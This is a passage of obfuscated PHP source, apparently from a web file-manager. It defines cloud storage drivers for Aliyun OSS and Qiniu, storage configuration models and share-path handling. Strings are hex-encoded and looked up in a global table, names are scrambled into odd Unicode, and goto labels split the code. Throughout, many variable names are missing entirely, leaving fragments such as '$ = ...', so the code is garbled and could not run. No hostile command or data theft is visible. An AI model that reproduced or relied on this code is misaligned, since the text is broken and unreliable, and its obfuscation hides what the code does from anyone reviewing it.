$ʤ[1419] . $this->accessKey . $ʤ[4] . $; if (strpos($ǰ, $ʤ[244]) === 0) { $Խ = array($ʤ[251] => $Խ, $ʤ[241] => $Ռ); if ($) { $Խ = array_merge($Խ, $); } } return $Խ; } public function listUploadParts($, $횣) { $ñ =& $_SERVER[ʇ]; $ͼ = parse_url_query($횣[$ñ[177]]); $˥ = $this->client->listParts($this->bucket, $this->pathEncode($), $ͼ[$ñ[240]]); $ = $˥->getListPart(); $ = array(); foreach ($ as $ׅ) { $[] = array($ñ[1440] => $ׅ->getPartNumber(), $ñ[1441] => trim($ׅ->getETag(), $ñ[120])); } unset($횣[$ñ[242]], $횣[$ñ[246]]); $ = $this->multiUploadAuthData($, $횣); if (empty($)) { return !1; } return array($ñ[251] => $, $ñ[241] => $횣[$ñ[241]], $ñ[253] => $); } public function download($, $ϩ) { if ($this->isFolder($)) { return !1; } try { $ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $ϩ); $ = $this->trafficLimit($_SERVER[ʇ][111], $); $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $ߋ) { return !1; } return $ϩ; } public function fileSubstr($ۯ, $ = 0, $ɤ = false) { if ($ === -1) { $ް = array(); } else { if ($ɤ === !1) { $ = $this->size($ۯ); } else { $ = $ + $ɤ - 1; } $ް = array(OSS\OssClient::OSS_RANGE => "{$}\55{$}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($ۯ), $ް); } catch (OSS\Core\OssException $) { think_exception($->getMessage()); return !1; } } private function trafficLimit($Ӣ, $ = array()) { $ =& $_SERVER[ʇ]; if ($Ӣ == $[1446] && $this->isUploadServer() || $Ӣ == $[111] && $this->isFileOutServer()) { return $; } $Ԝꟺ = floatval($GLOBALS[$[6]][$[91]][$[109]][$Ӣ]) * 1024 * 1024 * 8; if (!$Ԝꟺ) { return $; } $Ԝꟺ = $Ԝꟺ < 819200 ? 819200 : ($Ԝꟺ > 838860800 ? 838860800 : $Ԝꟺ); $[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($Ԝꟺ); return $; } public function link($ɸ, $Ω = array()) { $ =& $_SERVER[ʇ]; if (!$this->exist($ɸ) || $this->isFolder($ɸ)) { return !1; } try { $Ω = $this->trafficLimit($[111], $Ω); $걱 = $this->client->signUrl($this->bucket, $this->pathEncode($ɸ), 3600 * 12, $[247], $Ω); return $this->getCdnLink($걱); } catch (OSS\Core\OssException $ۿ) { return !1; } } public function fileOut($¼, $Š = false, $眫 = false, $ = '') { $ݼ =& $_SERVER[ʇ]; if ($this->isFileOutServer()) { return $this->fileOutServer($¼, $Š, $眫, $); } if (!$眫) { $眫 = $this->pathThis($¼); } $眫 = rawurlencode($眫); $ˡ = get_file_mime(get_path_ext($眫)); if ($ˡ == $ݼ[234]) { return parent::fileOut($¼, $Š, $眫, $); } $Š = $Š ? $ݼ[1456] : $ݼ[1457]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $ݼ[1458] . rawurlencode("{$Š}\73\x66\x69\x6c\x65\x6e\x61\x6d\x65\x3d{$眫}")); $[OSS\OssClient::OSS_SUB_RESOURCE] .= $ݼ[1459] . rawurlencode($ˡ); $Ҝ = $this->link($¼, $); $this->fileOutLink($Ҝ); } public function fileOutServer($ɉ, $Ή = false, $ɝ = false, $ = '') { parent::fileOut($ɉ, $Ή, $ɝ, $); } public function fileOutImage($Τ, $ = 250) { if ($this->size($Τ) > 1024 * 1024 * 20) { return $this->fileOutImageServer($Τ, $); } $ʮ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[ʇ][1416] . $); $ϏǾ = $this->link($Τ, $ʮ); $this->fileOutLink($ϏǾ); } public function fileOutImageServer($ކ, $€ = 250) { parent::fileOutImage($ކ, $€); } public function fileOutLink($) { $ =& $_SERVER[ʇ]; if (!$this->isCdnHost() && substr($, 0, 7) == $[1378]) { $ = $[1379] . substr($, 7); } header($[164] . $); die; } public function hashMd5($쪭, $҂ = '') { $Ɣ =& $_SERVER[ʇ]; $ = $this->_objectMeta($쪭); if (!$) { return $Ɣ[12]; } if (!isset($[$Ɣ[1436]]) && !empty($҂)) { $־ = $this->updateObjMeta($쪭, array($Ɣ[1436] => $҂)); $[$Ɣ[1436]] = $־ ? $҂ : $Ɣ[12]; } return isset($[$Ɣ[1436]]) ? strtolower($[$Ɣ[1436]]) : $Ɣ[12]; } public function size($å) { $Ŀԇ = $this->objectMeta($å); return $Ŀԇ ? $Ŀԇ[$_SERVER[ʇ][78]] : 0; } public function info($φ) { if ($this->isFolder($φ)) { return $this->folderInfo($φ); } else { if ($this->isFile($φ)) { return $this->fileInfo($φ); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[ʇ][168], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[ʇ][170], $); } protected function _objectMeta($݇) { $׉ =& $_SERVER[ʇ]; try { $쌚 = $this->client->getObjectMeta($this->bucket, $this->pathEncode($݇)); } catch (OSS\Core\OssException $Ձ;) { $쌚 = !1; } if ($쌚) { $쌚[$׉[78]] = intval($쌚[$׉[1434]]); } return $쌚; } protected function _isFolder($) { $ =& $_SERVER[ʇ]; if ($ == $[12] || $ == $[8]) { return !0; } $씛 = array($[1429] => $[8], $[1430] => rtrim($, $[8]) . $[8], $[1431] => 1, $[1432] => $[12]); $ո = $this->client->listObjects($this->bucket, $씛); if ($ո->getObjectList() || $ո->getPrefixList()) { return !0; } return !1; } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($לɝ) { parent::__construct(); require_once SDK_DIR . $_SERVER[ʇ][1460]; $this->_init($לɝ); } public function _init($) { $׃ =& $_SERVER[ʇ]; $this->config = $; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($׃[1461] . LNG($׃[1420])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($, $΃ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $΃)) { return $this->getPathOuter($); } return !1; } public function mkdir($ʹ, $ = REPEAT_SKIP) { $䣙 =& $_SERVER[ʇ]; $ف = trim($ʹ, $䣙[8]); if ($this->_isFolder($ف)) { return $this->getPathOuter($ف); } $ʹ = $ف . $䣙[8]; $׍ = get_path_this($ف); $ = $ʹ . $׍; if (!$this->mkfile($)) { return !1; } if (!$this->moveFile($, $ʹ)) { $this->delFile($); return !1; } return $this->getPathOuter($ف); } public function copyFile($귕, $) { $­ = $this->bucketManager->copy($this->bucket, $귕, $this->bucket, $, !0); return $­ ? !1 : $this->getPathOuter($); } public function moveFile($À, $ղ) { $ = $this->bucketManager->move($this->bucket, $À, $this->bucket, $ղ, !0); return $ ? !1 : $this->getPathOuter($ղ); } public function delFile($г܇) { if (!$this->exist($г܇)) { return !0; } $ = $this->bucketManager->delete($this->bucket, $г܇); return $ ? !1 : !0; } public function delFolder($΁) { $ =& $_SERVER[ʇ]; if (!$this->exist($΁)) { return !0; } $this->listItemCache = !1; $ј = $this->fileList($΁); $this->listItemCache = !0; $ = trim($΁, $[8]) . $[8]; if (!empty($΁) && $΁ !== $[214] && !in_array($, $ј[$[84]])) { $ј[$[84]][] = $; } $؆ = $this->delByBatch($ј[$[85]]); if (!$؆) { return !1; } $؆ = $this->delByBatch($ј[$[84]]); if (!$؆) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { $͡ = $this->bucketManager->buildBatchDelete($this->bucket, $); list($‘, $) = $this->bucketManager->batch($͡); if ($) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function fileInfo($Ö, $ä = false, $ = array()) { $ߟ =& $_SERVER[ʇ]; $× = array($ߟ[32] => $this->pathThis($Ö), $ߟ[86] => $this->getPathOuter($ߟ[8] . $Ö), $ߟ[33] => $ߟ[216], $ߟ[78] => isset($[$ߟ[1462]]) ? $[$ߟ[1462]] : 0, $ߟ[177] => $this->ext($Ö)); if ($ä) { return $×; } $×[$ߟ[217]] = $×[$ߟ[87]] = 0; $×[$ߟ[218]] = $×[$ߟ[219]] = !0; if (empty($)) { $ = $this->objectMeta($Ö); if (!$) { return $×; } } if (isset($[$ߟ[220]]) && $[$ߟ[220]]) { $×[$ߟ[221]] = $[$ߟ[220]]; } if (isset($[$ߟ[230]]) && $[$ߟ[230]]) { $×[$ߟ[221]] = $[$ߟ[230]]; } if (isset($[$ߟ[1463]])) { $×[$ߟ[87]] = substr($[$ߟ[1463]] . $ߟ[12], 0, 10); } if (isset($[$ߟ[1462]])) { $×[$ߟ[78]] = $[$ߟ[1462]]; } return $×; } public function folderInfo($, $Ȇ = false) { $ۯ =& $_SERVER[ʇ]; $𾘒 = array($ۯ[32] => $this->pathThis($), $ۯ[86] => $this->getPathOuter($ۯ[8] . $), $ۯ[33] => $ۯ[77]); if ($Ȇ) { return $𾘒; } $𾘒[$ۯ[217]] = $𾘒[$ۯ[87]] = 0; $𾘒[$ۯ[218]] = $𾘒[$ۯ[219]] = !0; $ = rtrim($, $ۯ[8]) . $ۯ[8]; $ = $this->objectMeta($); if (isset($[$ۯ[1463]])) { $𾘒[$ۯ[87]] = substr($[$ۯ[1463]] . $ۯ[12], 0, 10); } return $𾘒; } public function listPath($, $ו̧ = false) { $و =& $_SERVER[ʇ]; $ = $this->fileList($, $و[8], !0); foreach ($[$و[84]] as $砱 => $ۄŢ) { $[$و[84]][$砱] = $this->folderInfo($ۄŢ, $ו̧); } foreach ($[$و[85]] as $砱 => $ۄŢ) { $[$و[85]][$砱] = $this->fileInfo($ۄŢ[$و[96]], $ו̧, $ۄŢ); } return $; } public function has($˅, $ѝ = false, $˓ = true) { $ =& $_SERVER[ʇ]; $˅ = trim($˅, $[8]); $२آ = empty($˅) && $˅ !== $[214] ? $[12] : $˅ . $[8]; $κ = $[12]; $ = 500; $σ = $[8]; $Ë = $ع = 0; while (!0) { check_abort(); list($, $ݟ) = $this->bucketManager->listFiles($this->bucket, $२آ, $κ, $, $σ); if ($ݟ) { break; } $κ = array_key_exists($[1432], $) ? $κ = $[$[1464]] : $[12]; if ($ѝ) { if (!empty($[$[1465]])) { $Ë += count($[$[1465]]); } if (!empty($[$[1466]])) { $ع += count($[$[1466]]); } if ($κ === $[12]) { break; } continue; } if ($˓) { if (!empty($[$[1465]])) { return !0; } } else { if (!empty($[$[1466]])) { return !0; } } if ($κ === $[12]) { break; } } if ($ѝ) { return array($[225] => $Ë, $[226] => $ع); } return !1; } public function listAll($щ) { $ =& $_SERVER[ʇ]; $ = $this->fileList($щ, $[12], !0); $ǿ = array_to_keyvalue($[$[85]], $[32]); foreach ($[$[84]] as $Ɍ) { if (is_string($Ɍ)) { $ǿ[$Ɍ] = array($[78] => 0); } } return $this->listAllFiles($щ, $ǿ); } private function fileList($܇, $ = '', $Ȥ = 0) { $ =& $_SERVER[ʇ]; $܇ = trim($܇, $[8]); $Ǿ = empty($܇) && $܇ !== $[214] ? $[12] : $܇ . $[8]; $ԓ = $[12]; $ȭ = 1000; $ǩ = $ᗳ = array(); while (!0) { check_abort(); list($Ҵ, $) = $this->bucketManager->listFiles($this->bucket, $Ǿ, $ԓ, $ȭ, $); if ($) { break; } $ԓ = array_key_exists($[1432], $Ҵ) ? $ԓ = $Ҵ[$[1464]] : $[12]; $ = isset($Ҵ[$[1465]]) ? $Ҵ[$[1465]] : array(); $ = isset($Ҵ[$[1466]]) ? $Ҵ[$[1466]] : array(); foreach ($ as $ٕ) { if ($ٕ[$[96]] == $Ǿ) { continue; } $И = $ٕ[$[96]]; $߫ = $ٕ[$[1462]]; $ٕ[$[78]] = $߫; $ = $߫ == 0 && substr($И, strlen($И) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($И, $, $ٕ); if ($) { $ǩ[] = $И; continue; } $ᗳ[] = $Ȥ ? $ٕ : $И; } foreach ($ as $И) { if ($И == $Ǿ) { continue; } $ǩ[] = $И; $this->cacheMethodInfoSet($И, !0); } if ($ԓ === $[12]) { break; } } $this->cacheMethodInfoSet($܇, !0); return array($[84] => $ǩ, $[85] => $ᗳ); } public function canRead($˗) { return $this->exist($˗) ? !0 : !1; } public function canWrite($숵) { return $this->exist($숵) ? !0 : !1; } public function getContent($ľ) { return $this->fileSubstr($ľ, 0, -1); } public function setContent($, $ = '') { $ = $this->tempFile($this->pathThis($)); file_put_contents($, $); if ($this->upload($, $)) { $this->tempFileRemve($); return !0; } return !1; } public function refreshUrls($Ǖ) { $Ί =& $_SERVER[ʇ]; $ = array(); if (is_array($Ǖ)) { foreach ($Ǖ as $ַ) { $[] = $this->link($ַ); } } else { $[] = $this->link($Ǖ); } $ղ = new Qiniu\Cdn\CdnManager($this->auth); list($ȯ, $꾝) = $ղ->refreshUrls($); if ($꾝) { return !1; } return $ȯ[$Ί[1229]] == $Ί[798] ? !0 : !1; } public function fileSubstr($ן̹, $Γ, $ᄀמ) { $ =& $_SERVER[ʇ]; if (!($ݦ = $this->link($ן̹))) { return !1; } $ = !1; if ($ᄀמ > 0) { $ = $Γ + $ᄀמ - 1; $ = array($[1467] . $Γ . $[432] . $); } $ٸ = url_request($ݦ, $[247], !1, $); return $ٸ[$[789]] ? $ٸ[$[1249]] : !1; } public function upload($Ɛ, $ݚ, $ݫ͗ = false, $Nj = REPEAT_REPLACE) { $о = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $Ɛ); $첔 = get_file_mime(get_path_ext($ݚ)); list($, $) = $о->putFile($, $Ɛ, $ݚ, null, $첔); return $ ? !1 : $this->getPathOuter($Ɛ); } public function uploadFormData($, $ = 3600) { return $this->uploadToken($, $); } public function multiUploadFormData($ҿ, $Ƌ = 3600) { return $this->uploadToken($ҿ, $Ƌ); } private function uploadToken($ڎ, $ = 3600) { $ =& $_SERVER[ʇ]; $ƫޓ = $; $ = array($[1468] => $[1469]); $ұ = $ڎ; $ә = $this->auth->uploadToken($this->bucket, $ұ, $ƫޓ, $, !0); $ = empty($this->region) || $this->region == $[1470] ? $[12] : $[432] . $this->region; $ = http_type() . "\x3a\x2f\x2f\x75\x70\x6c\x6f\141\x64{$}\56\x71\151\x6e\151\165\160\x2e\x63\157\x6d\57"; return array($[1471] => $ә, $[1472] => $); } public function download($ě, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($ě))) { return !1; } $ = 0; $Ǎ = 1024 * 200; $讁 = fopen($, $_SERVER[ʇ][1473]); while (!0) { $ǧ = $this->fileSubstr($ě, $, $Ǎ); if ($ǧ === !1) { return !1; } fwrite($讁, $ǧ); $ += $Ǎ; if (strlen($ǧ) < $Ǎ) { break; } } fclose($讁); return $; } public function link($Ǝ, $ = '') { if (!$this->isFile($Ǝ)) { return !1; } $ = $this->getHost() . $_SERVER[ʇ][8] . $this->pathEncode($Ǝ) . $; return $this->auth->privateDownloadUrl($, 3600 * 12); } public function fileOut($, $ݞ = false, $ = false, $ = '') { $ =& $_SERVER[ʇ]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $ݞ, $, $); } if (!$) { $ = $this->pathThis($); } $럟 = $ݞ ? $[1474] . rawurlencode($) : $[12]; $ = $this->link($, $럟); $this->fileOutLink($); } public function fileOutServer($۴, $ = false, $ȝ = false, $ = '') { parent::fileOut($۴, $, $ȝ, $); } public function fileOutImage($ſ, $ = 250) { $ = $this->link($ſ, $_SERVER[ʇ][1475] . $); $this->fileOutLink($); } public function fileOutImageServer($⪀, $ڸ = 250) { parent::fileOutImage($⪀, $ڸ); } public function hashMd5($) { $򚘁 =& $_SERVER[ʇ]; $翷 = $this->objectMeta($); return isset($翷[$򚘁[230]]) ? $翷[$򚘁[230]] : !1; $Ј˄ = $this->link($, $򚘁[1476]); } public function size($) { $⪩ = $this->objectMeta($); return $⪩ ? $⪩[$_SERVER[ʇ][78]] : 0; } public function info($ҏܘ) { if ($this->isFolder($ҏܘ)) { return $this->folderInfo($ҏܘ); } else { if ($this->isFile($ҏܘ)) { return $this->fileInfo($ҏܘ); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($ȸ) { return !$this->isFolder($ȸ) && $this->objectMeta($ȸ); } public function isFolder($҆) { return $this->cacheMethod($_SERVER[ʇ][168], $҆); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[ʇ][170], $); } protected function _objectMeta($堚ˊ) { $ˁ͍ =& $_SERVER[ʇ]; list($, $) = $this->bucketManager->stat($this->bucket, $堚ˊ); if ($) { $[$ˁ͍[78]] = intval($[$ˁ͍[1462]]); } return $; } protected function _isFolder($ޝ) { $ƃ =& $_SERVER[ʇ]; if ($ޝ == $ƃ[12] || $ޝ == $ƃ[8]) { return !0; } list($إ, $) = $this->bucketManager->listFiles($this->bucket, trim($ޝ, $ƃ[8]) . $ƃ[8], $ƃ[12], 1, $ƃ[8]); return !empty($إ[$ƃ[1465]]) || !empty($إ[$ƃ[1466]]) ? !0 : !1; } } goto Bǜ; C: class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\171\x73\164\145\x6d\56\x73\x6f\165\x72\143\x65\123\145\143\x72\x65\x74\114\151\163\x74"; public $field = array("\x73\x6f\165\162\x63\145\111\104", "\x74\x79\x70\x65\111\x44", "\143\x72\145\x61\164\145\125\163\145\x72"); } class StorageModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\x65\155\x2e\x73\164\157\x72\141\x67\145\x4c\x69\x73\x74"; public $field = array("\156\x61\x6d\145", "\163\151\172\x65\x4d\x61\x78", "\163\x79\x73\x74\145\x6d", "\x64\x65\146\x61\x75\154\x74", "\144\x72\x69\166\x65\162", "\x63\157\x6e\x66\x69\x67"); public function listData($ص = false, $ȹ = "\x6d\x6f\x64\151\146\171\x54\151\155\x65", $ = false) { $ =& $_SERVER[ʇ]; $ = parent::listData($ص, $ȹ, $); if ($ص) { return $; } $Ǒ̯ = $this->ioSizeUseGet(array_to_keyvalue($, $[12], $[445])); foreach ($ as $ => $ޅ) { unset($[$][$[6]]); $[$][$[1888]] = isset($Ǒ̯[$ޅ[$[445]]]) ? $Ǒ̯[$ޅ[$[445]]] : 0; } return $; } public function ioSizeUseGet($킼) { $ =& $_SERVER[ʇ]; if (!$킼) { return array(); } $౩ = $[2220] . implode($[50], $킼); $஻ = Cache::get($౩); if ($஻) { return $஻; } $؊ = array($[863] => $[445], $[2221] => $[78]); $ = array($[863] => array($[7], $킼)); $஻ = Model($[828])->field($؊)->where($)->group($[863])->select(); $஻ = array_to_keyvalue($஻, $[445], $[78]); Cache::set($౩, $஻, 600); return $஻; } public function getConfig($) { $ʕ = parent::listData($); return json_decode($ʕ[$_SERVER[ʇ][6]], !0); } public function update($Ö, $ٶ) { $Ζ =& $_SERVER[ʇ]; $ñ = $ٶ[$Ζ[32]]; $ = array_to_keyvalue(parent::listData(), $Ζ[32]); if (isset($[$ñ]) && $[$ñ][$Ζ[445]] != $Ö) { return !1; } $this->checkPwd($Ö, $ٶ); if (isset($ٶ[$Ζ[2222]]) && $ٶ[$Ζ[2222]] == $Ζ[90]) { $this->checkConfig($ٶ); } unset($ٶ[$Ζ[2222]]); $ = parent::update($Ö, $ٶ); if ($ && $ٶ[$Ζ[37]]) { $ޢ̰ = 0; foreach ($ as $Đ) { if ($Đ[$Ζ[37]] && $Đ[$Ζ[445]] != $Ö) { $ޢ̰ = $Đ[$Ζ[445]]; parent::update($Đ[$Ζ[445]], array($Ζ[37] => 0)); } } $this->updateBackup($Ö, $ޢ̰); } return $; } public function add($˺) { $ͱ =& $_SERVER[ʇ]; $ = array_to_keyvalue(parent::listData(), $ͱ[32]); if (isset($[$˺[$ͱ[32]]])) { return !1; } $this->checkConfig($˺); $ = parent::insert($˺); if ($ && $˺[$ͱ[37]]) { foreach ($ as $Х) { if ($Х[$ͱ[37]]) { parent::update($Х[$ͱ[445]], array($ͱ[37] => 0)); } } } return $; } public function updateBackup($, $ܚ) { $ӟ =& $_SERVER[ʇ]; if (!$ܚ) { return; } $먏 = Model($ӟ[788])->config(); if ($먏[$ӟ[1671]] != $ӟ[90] || $먏[$ӟ[790]] != $ܚ) { return; } $ⓠ = Model($ӟ[809])->get($ӟ[819]); $ⓠ = json_decode($ⓠ, !0); if (!$ⓠ) { return; } $ⓠ[$ӟ[790]] = $; Model($ӟ[809])->set(array($ӟ[819] => $ⓠ)); } public function checkPwd($ٔ, &$) { $ =& $_SERVER[ʇ]; if (empty($[$[6]])) { return; } $ = json_decode($[$[6]], !0); $̒ؗ = $[12]; $ר؇ = array($[2223], $[2224], $[936]); foreach ($ר؇ as $ū) { if (isset($[$ū])) { $̒ؗ = $ū; break; } } if (!$̒ؗ) { return; } $ڕɰ = $this->getConfig($ٔ); $ = $ڕɰ[$̒ؗ]; $ = $[$̒ؗ]; if ($ == str_repeat($[205], strlen($))) { $[$̒ؗ] = $; $[$[6]] = json_encode($); } else { if ($ != $) { $[$[2222]] = $[90]; } } } public function checkConfig(&$ڹ, $˫ݐ = false) { $ۄ =& $_SERVER[ʇ]; $ܕ = strtolower($ڹ[$ۄ[97]]); $ = json_decode($ڹ[$ۄ[6]], !0); foreach ($ as $즏߳ => $ӫ) { if (is_string($ӫ)) { $[$즏߳] = trim($ӫ); } } $[$ۄ[2225]] = rand_string(6); $ = $GLOBALS[$ۄ[6]][$ۄ[91]][$ۄ[872]]; $ = isset($[$ܕ]) ? $[$ܕ] : ucfirst($ܕ); $ = $ۄ[76] . $; if (!$ || !class_exists($)) { if ($˫ݐ) { return LNG($ۄ[2226]); } write_log(array($ۄ[2227], $ڹ, get_caller_info()), $ۄ[2228]); show_json(LNG($ۄ[2226]), !1, $ڹ); } $ԡ = new $($); if (in_array($ܕ, $ԡ->objectDriver)) { if (!$ԡ->isBucketCors() && !$ԡ->setBucketCors()) { $ = LNG($ۄ[2229]); $ .= $ۄ[2230] . LNG($ۄ[2231]); if ($˫ݐ) { return $; } show_json($, !1); } } $̈ = rtrim($[$ۄ[1227]], $ۄ[8]) . $ۄ[8]; $ = $ԡ->getPath($̈ . $ۄ[1231]); if (!$ԡ->mkfile($)) { if ($˫ݐ) { return LNG($ۄ[2229]); } show_json(LNG($ۄ[2229]), !1); } $[$ۄ[1227]] = $̈; $ڹ[$ۄ[6]] = json_encode($); $ڹ[$ۄ[97]] = $; return !0; } public function driverListSystem() { $嬳 =& $_SERVER[ʇ]; $–Ŗ = parent::listData(); $椏 = array(); foreach ($–Ŗ as $) { unset($[$嬳[217]], $[$嬳[87]]); $[$嬳[6]] = json_decode($[$嬳[6]], !0); $椏[] = $; } return $椏; } public function defaultDriver() { $Ƶ =& $_SERVER[ʇ]; $Υ = parent::listData(); $ = array_filter_by_field($Υ, $Ƶ[37], 1); $ = $[0]; if ($) { $[$Ƶ[6]] = json_decode($[$Ƶ[6]], !0); } return $; } public function driverInfo($) { $薠ϔ =& $_SERVER[ʇ]; $ = array_to_keyvalue(parent::listData(), $薠ϔ[445]); if (!isset($[$])) { return !1; } $ = $[$]; $[$薠ϔ[6]] = json_decode($[$薠ϔ[6]], !0); return $; } public function remove($ʮȡ) { $this->removeShareItems($ʮȡ); return parent::remove($ʮȡ); } public function removeWithFile($ȕ, $) { $獯 =& $_SERVER[ʇ]; $ = array($獯[863] => $ȕ); $ = Model($獯[514])->where($)->count(); $ = Model($獯[514])->where($)->sum($獯[78]); $֢ = $ . $獯[2232] . $ȕ; $ = LNG($ == $獯[590] ? $獯[2233] : $獯[2234]); $ = new TaskFileTransfer($֢, $獯[2228], $, $ . "\50{$ȕ}\51"); $->task[$獯[802]] = (double) $; $ = KodIO::defaultDriver(); $ = $[$獯[445]]; $űƋ = "\x7b\151\x6f\72{$}\175\x2f"; $틿 = !0; $ = array(); $렗 = Model($獯[216])->where($)->field($獯[2235])->select(); foreach ($렗 as $) { $פ = $[$獯[86]]; $ = $űƋ . str_replace("\173\x69\x6f\72{$ȕ}\175\57", $獯[12], $פ); if (!IO::exist($פ)) { $[] = $[$獯[511]]; $->updateFileEnd($[$獯[32]], $[$獯[78]]); continue; } if (IO::exist($)) { $->updateFileEnd($[$獯[32]], $[$獯[78]]); continue; } if (!IO::move($פ, get_path_father($))) { $틿 = !1; break; } $ = array($獯[511] => $[$獯[511]]); $񵩢 = array($獯[863] => $, $獯[86] => $); Model($獯[216])->where($)->save($񵩢); } $this->removeByFileID($); if (!$틿) { $->stop($֢); return !1; } $->end(); if ($ == $獯[1868]) { $this->remove($ȕ); } } public function progress($, $Č) { return Task::get($Č . $_SERVER[ʇ][2232] . $); } private function removeByFileID($ = array()) { $ =& $_SERVER[ʇ]; if (empty($)) { return; } $幥 = array($[511] => array($[7], $)); $ш = Model($[1380])->where($幥)->field($[183])->select(); if (!$ш) { return; } $ш = array_to_keyvalue($ш, $[12], $[183]); foreach ($ш as $) { Model($[460])->removeNow($, !1); } } private function removeShareItems($) { $ =& $_SERVER[ʇ]; $Ѭ = "\173\151\x6f\x3a{$}\175\x2f"; $ = array($[183] => 0, $[1222] => array($[429], "{$Ѭ}\x25")); $ = Model($[1879])->where($)->field($[635])->select(); if (empty($)) { return; } $ަ = array_to_keyvalue($, $[12], $[635]); Model($[634])->remove($ަ); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\171\163\164\x65\x6d\56\114\x69\x67\x68\x74\101\x70\x70"; public $modelType = "\123\x79\163\164\145\x6d\117\160\164\151\157\156"; public $field = array("\156\141\155\145", "\x67\162\157\165\160", "\144\x65\163\x63", "\x63\157\156\x74\145\x6e\x74"); public function listData($ = false, $ = "\x6d\x6f\x64\x69\x66\171\x54\x69\155\145", $ϕ = true) { return parent::listData($, $, $ϕ); } public function remove($) { $ = $this->findByName($); if (!$) { return !1; } return parent::remove($[$_SERVER[ʇ][445]]); } public function add($Œ) { if ($this->findByName($Œ[$_SERVER[ʇ][32]])) { return !1; } return parent::insert($Œ); } public function update($׳, $) { $̴ =& $_SERVER[ʇ]; $Ωϥ = $this->findByName($׳); $ = $this->findByName($[$̴[32]]); if (!$Ωϥ || $ && $[$̴[445]] != $Ωϥ[$̴[445]]) { return !1; } return parent::update($Ωϥ[$̴[445]], $); } } goto D⿨; bᷰ۵: class PathDriverDbShareItem extends PathDriverDB { public function __construct($Љ) { $this->pathParse = $Љ; $this->model = Model($_SERVER[ʇ][1380]); } public function getPathOuter($) { $ =& $_SERVER[ʇ]; if (!$) { return $; } $Ќ = $this->parse($); return trim(KodIO::makeShare($this->pathParse[$[445]], $Ќ[$[445]]), $[8]); } protected function infoParse($֟, $ = false, $ = false) { $逷 =& $_SERVER[ʇ]; $Տ = $this->pathParse[$逷[445]]; $躬 = trim($this->pathParse[$逷[1215]], $逷[8]); return Action($逷[1387])->sharePathInfo($Տ, $躬, $); } public function infoFull($) { $ҝ =& $_SERVER[ʇ]; $ = explode($ҝ[8], trim($, $ҝ[8])); if (count($) > 1) { $¯ = implode($ҝ[8], array_splice($, 1)); $쵲 = $this->model->pathInfoByPath($[0], $¯); if (!$쵲) { return !1; } $this->pathParse[$ҝ[1215]] = $쵲[$ҝ[183]]; } return $this->infoParse($); } public function listAll($ҽ) { $ =& $_SERVER[ʇ]; $ = IO::info($this->pathParse[$[86]]); if (!$) { return array(); } $⷏ = $this->model->listAll($ҽ); $ = Model($[634])->getInfo($[$[635]]); foreach ($⷏ as &$ͨȯ) { check_abort(); $ͨȯ[$[89]] = Action($[1387])->_shareItemeParse($ͨȯ[$[89]], $); } unset($ͨȯ); return $⷏; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($帤) { $this->pathParse = $帤; $this->model = Model($_SERVER[ʇ][1380]); } protected function infoParse($ݭ, $ = false, $᯸ǥ = false) { $˚ =& $_SERVER[ʇ]; return Action($˚[1221])->sharePathInfo($this->pathParse[$˚[86]], !0, $); } public function listPath($, $ޑ = false) { $ =& $_SERVER[ʇ]; $ = parent::listPath($, $ޑ); if (!$) { return $; } if (is_array($[$[1388]])) { $[$[1388]] = Action($[1221])->shareItemInfo($[$[1388]]); } foreach ($ as $ => $飅) { if (!in_array($, array($[85], $[84]))) { continue; } foreach ($飅 as $ᠥ => $͆) { $[$][$ᠥ] = Action($[1221])->shareItemInfo($͆); } } return $; } public function listAll($Ų) { $٭믪 =& $_SERVER[ʇ]; $ӧ = IO::info($this->pathParse[$٭믪[86]]); if (!$ӧ) { return array(); } $ދ㙬 = $this->model->listAll($Ų); foreach ($ދ㙬 as &$Ր) { $Ր[$٭믪[89]] = Action($٭믪[1221])->shareItemInfo($Ր[$٭믪[89]]); } unset($Ր); return $ދ㙬; } } class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($, $늗) { $߲ =& $_SERVER[ʇ]; if (method_exists($this, $)) { return; } $ = call_user_func_array(array($߲[1389], $), $늗); $ = array($߲[1390], $߲[1391], $߲[1392], $߲[1393], $߲[588], $߲[590], $߲[1394], $߲[109], $߲[1395], $߲[1396]); if (in_array($, $)) { $ = $this->getPathOuter($); } return $; } public function copy($̝, $߉, $۔ = false, $ߛ = false) { return $this->copyMove($̝, $߉, $۔, $_SERVER[ʇ][588], $ߛ); } public function move($, $, $ = false, $ = false) { return $this->copyMove($, $, $, 